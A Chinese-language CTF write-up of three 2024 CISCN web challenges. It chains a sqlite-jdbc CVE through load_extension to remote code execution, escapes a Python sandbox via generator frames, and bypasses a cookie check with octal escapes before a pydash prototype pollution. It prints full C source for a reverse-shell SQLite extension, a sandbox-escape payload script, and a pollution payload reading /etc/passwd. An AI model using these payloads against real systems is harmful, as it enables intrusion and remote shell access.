2024 CISCN WEB 部分wp
前言
第二天的revenge真是绷不住,出的很好,下次多出点revenge。
ezjava
简要介绍
sqlite jdbc...真的没想到,写文件覆盖写了半天,结果是个CVE...,给的很多东西都是幌子
原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目的,这两个条件就很苛刻了,所以算是个比较鸡肋的漏洞,刚好题目环境能够控制jdbc语句和sql执行
url是jdbc语句,tableName直接拼接进sql中执行,题目逻辑很简单,我们回到sqlite的CVE,通过执行jdbc:sqlite::resource:http://ip:port/poc.db
,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-??????
,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db'
,读取传入的url的hashCode,再拼接.db
就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db'));
,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db
是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称
攻击流程
第一步打入恶意so文件的缓存文件
第二步创建恶意sqlite db文件,可以利用navicat创建sqlite db文件,然后执行上面给出的sql语句
第三步打入恶意sqlite db文件的缓存文件
第四步开启load_extension,并加载我们的恶意sqlite db文件生成的缓存文件
上面忘了说了,sqlite jdbc的特性,传入的参数会被PRAGMA执行,比如我们这里传入的是enable_load_extension=true,那么就会执行PRAGMA enable_load_extension=true
,也就开启了load_extension功能。
给个恶意so文件生成c代码:
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1
/* Insert your extension code here */
int tcp_port = port;
char *ip = "ip";
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return rc;
}
以上4步就是完整的攻击流程了
mossfern
python栈帧沙箱逃逸,研究的好高端...根本没见过,等有空了开篇文章学习一下,可以先参考这篇文章:https://xz.aliyun.com/t/13635
这里就是栈帧逃逸出globals,在字段co_consts中获取到flag
import json
payload = '''def getflag():
def f():
yield g.gi_frame.f_back
g = f()
frame=[x for x in g][0]
gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']
code = frame.f_back.f_back.f_back.f_code
gattr_dir = gattr.dir
s = gattr.str
print(gattr_dir(code))
for i in s(code.co_consts):
print(i,end=",")
getflag()'''
data = {
"code": payload
}
print(json.dumps(data))
sanic
python原型链污染,当时卡死在第一步了,真是丢人,要求cookie中传入的user=adm;n
,我们都知道分号;
在cookie中是起分割作用的,所以肯定是不能直接传的,所以理所当然的会想到编码,当时试了unicode编码,十六进制都失败了,谁能想到是用8进制绕过..,user="adm\073n"
接下来就是很简单的原型链污染了,有个简单的waf,就是key中不能有__.
用\\绕过即可
{"key": "__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}
,为什么要这么绕过
跟进pydash.set_
注意这个RE_PATH_KEY_DELIM.split
,按\\\\
分割写入keys,跟默认的没有\\\\
是一样的效果,所以并不影响最终的keys
这里我开的是ctfshow的环境,读/proc/1/environ拿到flag
总结
菜就多练...